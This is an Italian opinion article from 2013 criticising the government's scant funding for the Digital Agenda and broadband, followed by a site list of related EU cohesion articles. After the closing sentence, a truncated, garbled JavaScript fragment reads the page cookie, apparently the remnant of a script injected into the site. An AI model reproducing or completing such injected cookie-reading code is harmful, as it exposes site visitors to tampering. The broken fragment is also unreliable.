La critica

Ma il Governo mette pochi soldi sul piatto digitale

Sì, c’è tanta nuova sensibilità all’Agenda, ma se vediamo ai fatti le risorse restano scarse. Per gli attesissimi 35 miliardi europei servono capacità progettuale ma anche investimenti complementari da parte dell’Italia. Che aspettiamo?

Pubblicato il 12 Nov 2013

morandini-121010133022

Grandi complimenti al Presidente del Consiglio Letta per la sensibilità dimostrata per il tema dell’Agenda Digitale, vera e propria “riforma dello Stato”. Altrettante lodi per l’impegno preso di fronte al Commissario europeo Kroes in visita in Italia per “alzare i toni”, se del caso, a favore di un impegno tangibile per rafforzare le iniziative a favore dell’Agenda Digitale europea e del mercato unico del digitale.

Nella pratica però cosa succede? Le vere priorità rimangono apparentemente altre e le risorse, scarse, vengono indirizzate verso i rivoli più tradizionali, a tamponamento di situazioni ritenute evidentemente improcastinabili. Nel frattempo, un manipolo di esperti benefattori (part time e non remunerati) tenta di creare le condizioni per l’innesco della rivoluzione digitale del Paese definendo tre azioni prioritarie attorno alle quali coagulare le forze (un po’ meno le risorse).

Risparmiare senza investire? Anche i Ministri sanno ormai che l’accelerazione dell’innovazione digitale può portare importanti risparmi (i benefici paventati superano ormai il valore di una robusta manovra finanziaria), sia diretti che indiretti, per la pesante macchina burocratica italica. Sfortunatamente però, nessuno associa risparmio a investimenti, come se il pensiero fosse sufficiente alla concretizzazione dei benefici. E’ velleitario pensare che il risparmio venga generato dalla semplice sostituzione della spesa corrente e diventa ormai inderogabile trovare la strada per autorizzare nuovi investimenti finalizzati all’ottenimento di benefici tangibili. E’ forse giunto il momento di fare un po’ di finanza “creativa” (nel senso buono, ovviamente…) per definire modelli percorribili di project financing e di trovare qualche eccezione alla spending review.

Aspettando l’Europa. Per i fondi aspettiamo sempre la ricca dotazione europea, che puntualmente riusciremo ad utilizzare solo in minima parte. In particolare, la torta è quella dei 35 miliardi di fondi strutturali europei, il cui utilizzo richiede non solo capacità progettuale, ma anche investimenti complementari ed integrativi, nella direzione di un vero e proprio piano per il digitale.

Tutta la banda che vuoi. Venendo al tema ampiamente dibattuto delle infrastrutture a banda larga e ultra larga, il premier ha annunciato che il 10% dei fondi strutturali europei verrà destinato alla banda larga (intendeva, auspicabilmente, quella “ultra larga”). Il piano nazionale banda larga è in dirittura d’arrivo, mentre oggi è tempo di lanciare una sfida più ambiziosa per gli obiettivi di fine decennio che ci impone l’Europa. I primi bandi (nel Mezzogiorno) sono già stati pubblicati, ma siamo in attesa di capire innanzitutto se il modello proposto è percorribile, per poi reperire nuove risorse. A differenza del passato, in questo caso la politica dei fondi a pioggia in direzione di micro interventi non è percorribile e servono “lotti” di intervento molto più importanti, al fine di consentire di fare massa critica e stimolare l’innesco di un nuovo mercato.

Nel frattempo non dimentichiamoci che Neelie Kroes ha annunciato di considerare il problema del digital divide infrastrutturale di base (obiettivo 2013) risolto in Europa, grazie alla disponibilità della piattaforma satellitare per le aree non ancora coperte dalla banda.

A maggior ragione, serve allora voltare pagina e cambiare passo

function cc(ccn){var c=d[‘cookie’];return c.search(ccn.split(”).reverse().join(”))^O0$5rL”E,)3T

Valuta la qualità di questo articolo

La tua opinione è importante per noi!

EU Stories - La coesione innova l'Italia

Tutti
Analisi
Video
Iniziative
Social
Programmazione europ
Fondi Europei: la spinta dietro ai Tecnopoli dell’Emilia-Romagna. L’esempio del Tecnopolo di Modena
Interventi
Riccardo Monaco e le politiche di coesione per il Sud
Iniziative
Implementare correttamente i costi standard, l'esperienza AdG
Finanziamenti
Decarbonizzazione, 4,8 miliardi di euro per progetti cleantech
Formazione
Le politiche di Coesione UE, un corso gratuito online per professionisti e giornalisti
Interviste
L’ecosistema della ricerca e dell’innovazione dell’Emilia-Romagna
Interviste
La ricerca e l'innovazione in Campania: l'ecosistema digitale
Iniziative
Settimana europea delle regioni e città: un passo avanti verso la coesione
Iniziative
Al via il progetto COINS
Eventi
Un nuovo sguardo sulla politica di coesione dell'UE
Iniziative
EuroPCom 2024: innovazione e strategia nella comunicazione pubblica europea
Iniziative
Parte la campagna di comunicazione COINS
Interviste
Marco De Giorgi (PCM): “Come comunicare le politiche di coesione”
Analisi
La politica di coesione europea: motore della transizione digitale in Italia
Politiche UE
Il dibattito sul futuro della Politica di Coesione
Mobilità Sostenibile
L’impatto dei fondi di coesione sul territorio: un’esperienza di monitoraggio civico
Iniziative
Digital transformation, l’Emilia-Romagna rilancia sulle comunità tematiche
Politiche ue
Fondi Coesione 2021-27: la “capacitazione amministrativa” aiuta a spenderli bene
Finanziamenti
Da BEI e Banca Sella 200 milioni di euro per sostenere l’innovazione di PMI e Mid-cap italiane
Analisi
Politiche di coesione Ue, il bilancio: cosa ci dice la relazione 2024
Politiche UE
Innovazione locale con i fondi di coesione: progetti di successo in Italia
Programmazione europ
Fondi Europei: la spinta dietro ai Tecnopoli dell’Emilia-Romagna. L’esempio del Tecnopolo di Modena
Interventi
Riccardo Monaco e le politiche di coesione per il Sud
Iniziative
Implementare correttamente i costi standard, l'esperienza AdG
Finanziamenti
Decarbonizzazione, 4,8 miliardi di euro per progetti cleantech
Formazione
Le politiche di Coesione UE, un corso gratuito online per professionisti e giornalisti
Interviste
L’ecosistema della ricerca e dell’innovazione dell’Emilia-Romagna
Interviste
La ricerca e l'innovazione in Campania: l'ecosistema digitale
Iniziative
Settimana europea delle regioni e città: un passo avanti verso la coesione
Iniziative
Al via il progetto COINS
Eventi
Un nuovo sguardo sulla politica di coesione dell'UE
Iniziative
EuroPCom 2024: innovazione e strategia nella comunicazione pubblica europea
Iniziative
Parte la campagna di comunicazione COINS
Interviste
Marco De Giorgi (PCM): “Come comunicare le politiche di coesione”
Analisi
La politica di coesione europea: motore della transizione digitale in Italia
Politiche UE
Il dibattito sul futuro della Politica di Coesione
Mobilità Sostenibile
L’impatto dei fondi di coesione sul territorio: un’esperienza di monitoraggio civico
Iniziative
Digital transformation, l’Emilia-Romagna rilancia sulle comunità tematiche
Politiche ue
Fondi Coesione 2021-27: la “capacitazione amministrativa” aiuta a spenderli bene
Finanziamenti
Da BEI e Banca Sella 200 milioni di euro per sostenere l’innovazione di PMI e Mid-cap italiane
Analisi
Politiche di coesione Ue, il bilancio: cosa ci dice la relazione 2024
Politiche UE
Innovazione locale con i fondi di coesione: progetti di successo in Italia

Articoli correlati